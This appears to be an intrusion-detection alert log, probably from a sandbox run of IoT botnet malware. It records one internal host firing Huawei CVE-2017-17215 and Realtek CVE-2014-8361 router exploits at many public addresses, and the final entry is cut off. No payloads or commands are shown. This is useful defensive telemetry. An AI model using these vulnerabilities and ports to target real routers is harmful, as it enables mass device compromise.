
ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.66.63.246

Timestamp:	07/20/24-23:01:40.355589
SID:	2829579
Source Port:	57784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.201.79.70

Timestamp:	07/20/24-23:01:42.703494
SID:	2831300
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.68.100.131

Timestamp:	07/20/24-23:01:08.611391
SID:	2831300
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.60.5

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	50852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.138.19.167

Timestamp:	07/20/24-23:01:45.108909
SID:	2027339
Source Port:	56008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.233.58.215

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	48302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.187.52.139

Timestamp:	07/20/24-23:01:03.426187
SID:	2027339
Source Port:	36012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.225.39

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	59674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.219.238.149

Timestamp:	07/20/24-23:01:06.994337
SID:	2829579
Source Port:	45722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.255.54.255

Timestamp:	07/20/24-23:02:02.476638
SID:	2027339
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.24.252.54

Timestamp:	07/20/24-23:01:24.889164
SID:	2829579
Source Port:	58940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.198.200.174

Timestamp:	07/20/24-23:01:31.311906
SID:	2027339
Source Port:	58730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.42.58.223

Timestamp:	07/20/24-23:01:01.453951
SID:	2025132
Source Port:	42502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.146.19.98

Timestamp:	07/20/24-23:01:41.912337
SID:	2025132
Source Port:	36424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.219.153.144

Timestamp:	07/20/24-23:02:05.506482
SID:	2027339
Source Port:	59958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.201.27.61

Timestamp:	07/20/24-23:01:47.693711
SID:	2027339
Source Port:	50610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.122.43.145

Timestamp:	07/20/24-23:01:44.631448
SID:	2027339
Source Port:	34526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.183.92.200

Timestamp:	07/20/24-23:01:46.556921
SID:	2025132
Source Port:	39934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.196.130.183

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	45192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.237.244

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	60866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.240.199.7

Timestamp:	07/20/24-23:01:31.313163
SID:	2831300
Source Port:	59674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.43.137.199

Timestamp:	07/20/24-23:01:42.530468
SID:	2831300
Source Port:	49066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.121.26

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	34212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.190.17

Timestamp:	07/20/24-23:01:20.152427
SID:	2829579
Source Port:	54164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.232.185.220

Timestamp:	07/20/24-23:01:42.696197
SID:	2025132
Source Port:	41620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.72.134.93

Timestamp:	07/20/24-23:01:08.598416
SID:	2831300
Source Port:	33108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.223.71.222

Timestamp:	07/20/24-23:01:44.156178
SID:	2027339
Source Port:	58330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.118.19.128

Timestamp:	07/20/24-23:01:00.648489
SID:	2835222
Source Port:	36536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.178.133.43

Timestamp:	07/20/24-23:01:14.140178
SID:	2027339
Source Port:	57756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.78.155.76

Timestamp:	07/20/24-23:01:41.501891
SID:	2025132
Source Port:	46770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.242.148.126

Timestamp:	07/20/24-23:01:57.886795
SID:	2831300
Source Port:	51338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.26.5.201

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	38954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.87.44.29

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	40944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.168.200.153

Timestamp:	07/20/24-23:02:02.387600
SID:	2027339
Source Port:	47516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.162.241.10

Timestamp:	07/20/24-23:01:11.641686
SID:	2835222
Source Port:	33626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.163.165.19

Timestamp:	07/20/24-23:01:20.124696
SID:	2835222
Source Port:	39104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.14.168.150

Timestamp:	07/20/24-23:01:31.331820
SID:	2025132
Source Port:	48328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.246.142.35

Timestamp:	07/20/24-23:01:48.547161
SID:	2027339
Source Port:	59820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 119.225.217.146

Timestamp:	07/20/24-23:01:20.202325
SID:	2829579
Source Port:	49686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 160.40.68.243

Timestamp:	07/20/24-23:01:42.165780
SID:	2831300
Source Port:	57706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.255.198.47

Timestamp:	07/20/24-23:01:45.540580
SID:	2027339
Source Port:	49004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.74.240

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	40652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.193.210.39

Timestamp:	07/20/24-23:01:42.790680
SID:	2025132
Source Port:	53028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.248.242.20

Timestamp:	07/20/24-23:01:52.838689
SID:	2027339
Source Port:	55674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.157.219.101

Timestamp:	07/20/24-23:02:01.681802
SID:	2831300
Source Port:	49888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.102.71

Timestamp:	07/20/24-23:01:20.202325
SID:	2835222
Source Port:	40830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.215.30.136

Timestamp:	07/20/24-23:01:42.717611
SID:	2027339
Source Port:	38634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.137.226.148

Timestamp:	07/20/24-23:01:41.867104
SID:	2027339
Source Port:	37288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.176.94.191

Timestamp:	07/20/24-23:01:42.401855
SID:	2027339
Source Port:	40012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.86.232.67

Timestamp:	07/20/24-23:01:31.974782
SID:	2829579
Source Port:	38850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.24.233.14

Timestamp:	07/20/24-23:01:41.608574
SID:	2027339
Source Port:	55524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.82.234.209

Timestamp:	07/20/24-23:01:52.053251
SID:	2027339
Source Port:	33236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.44.236.192

Timestamp:	07/20/24-23:01:43.135089
SID:	2025132
Source Port:	57444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.5.59.56

Timestamp:	07/20/24-23:01:41.407067
SID:	2027339
Source Port:	56622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.146.7.44

Timestamp:	07/20/24-23:01:32.027082
SID:	2835222
Source Port:	39308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.98.158.174

Timestamp:	07/20/24-23:01:08.584507
SID:	2831300
Source Port:	35960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.16.187.60

Timestamp:	07/20/24-23:01:08.563416
SID:	2831300
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.175.156

Timestamp:	07/20/24-23:01:31.979565
SID:	2835222
Source Port:	45832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.185.104.236

Timestamp:	07/20/24-23:01:31.322110
SID:	2831300
Source Port:	51984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.15.191.58

Timestamp:	07/20/24-23:01:42.647416
SID:	2025132
Source Port:	58418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.7.66.220

Timestamp:	07/20/24-23:01:42.357440
SID:	2027339
Source Port:	56164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.230.177.62

Timestamp:	07/20/24-23:01:45.109957
SID:	2027339
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.216.69.165

Timestamp:	07/20/24-23:01:42.580745
SID:	2831300
Source Port:	42542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.45.133.89

Timestamp:	07/20/24-23:01:45.432263
SID:	2027339
Source Port:	46866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.132.172.199

Timestamp:	07/20/24-23:02:20.036130
SID:	2025132
Source Port:	43458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.224.33.210

Timestamp:	07/20/24-23:01:42.508021
SID:	2831300
Source Port:	34132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.148.71.209

Timestamp:	07/20/24-23:01:05.010861
SID:	2025132
Source Port:	58646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.43.60.192

Timestamp:	07/20/24-23:01:41.295497
SID:	2027339
Source Port:	36678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.62.33.47

Timestamp:	07/20/24-23:01:27.650643
SID:	2835222
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.234.94

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	33966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.158.237.150

Timestamp:	07/20/24-23:01:08.575986
SID:	2831300
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.234.113.72

Timestamp:	07/20/24-23:01:41.258056
SID:	2027339
Source Port:	40456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.198.11.250

Timestamp:	07/20/24-23:01:47.872561
SID:	2831300
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.144.192.144

Timestamp:	07/20/24-23:01:02.236183
SID:	2025132
Source Port:	48494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.84.58

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	55640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.31.108.66

Timestamp:	07/20/24-23:01:47.818739
SID:	2025132
Source Port:	49766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.199.109.79

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	53792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.9.135.122

Timestamp:	07/20/24-23:01:49.277117
SID:	2025132
Source Port:	58846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.31.40.78

Timestamp:	07/20/24-23:01:51.879276
SID:	2831300
Source Port:	60162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.213.222.122

Timestamp:	07/20/24-23:01:54.930155
SID:	2831300
Source Port:	40160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.50.75.236

Timestamp:	07/20/24-23:01:42.619336
SID:	2025132
Source Port:	37076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.4.24.206

Timestamp:	07/20/24-23:01:57.313050
SID:	2831300
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.4.219.92

Timestamp:	07/20/24-23:01:42.636583
SID:	2025132
Source Port:	43652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.72.212

Timestamp:	07/20/24-23:01:27.654172
SID:	2829579
Source Port:	36154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.227.205.159

Timestamp:	07/20/24-23:01:44.280820
SID:	2025132
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.195.200.196

Timestamp:	07/20/24-23:01:08.594120
SID:	2831300
Source Port:	43500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.248.19

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.20.218.143

Timestamp:	07/20/24-23:01:49.578308
SID:	2831300
Source Port:	42790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.55.203.85

Timestamp:	07/20/24-23:01:03.299761
SID:	2027339
Source Port:	60246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.216.198.203

Timestamp:	07/20/24-23:01:43.946478
SID:	2025132
Source Port:	51148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.213.123.243

Timestamp:	07/20/24-23:01:42.623848
SID:	2027339
Source Port:	57578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.244.111.55

Timestamp:	07/20/24-23:01:51.060408
SID:	2831300
Source Port:	44768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.163.36.247

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	58456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 160.195.41.193

Timestamp:	07/20/24-23:01:43.607934
SID:	2831300
Source Port:	59822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.81.116.37

Timestamp:	07/20/24-23:01:45.484487
SID:	2027339
Source Port:	51746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.5.72.210

Timestamp:	07/20/24-23:01:14.000556
SID:	2027339
Source Port:	38772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.18.19.96

Timestamp:	07/20/24-23:02:20.036130
SID:	2027339
Source Port:	39516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.232.12.90

Timestamp:	07/20/24-23:01:06.973541
SID:	2835222
Source Port:	33252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.60.57

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	33680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.219.32.62

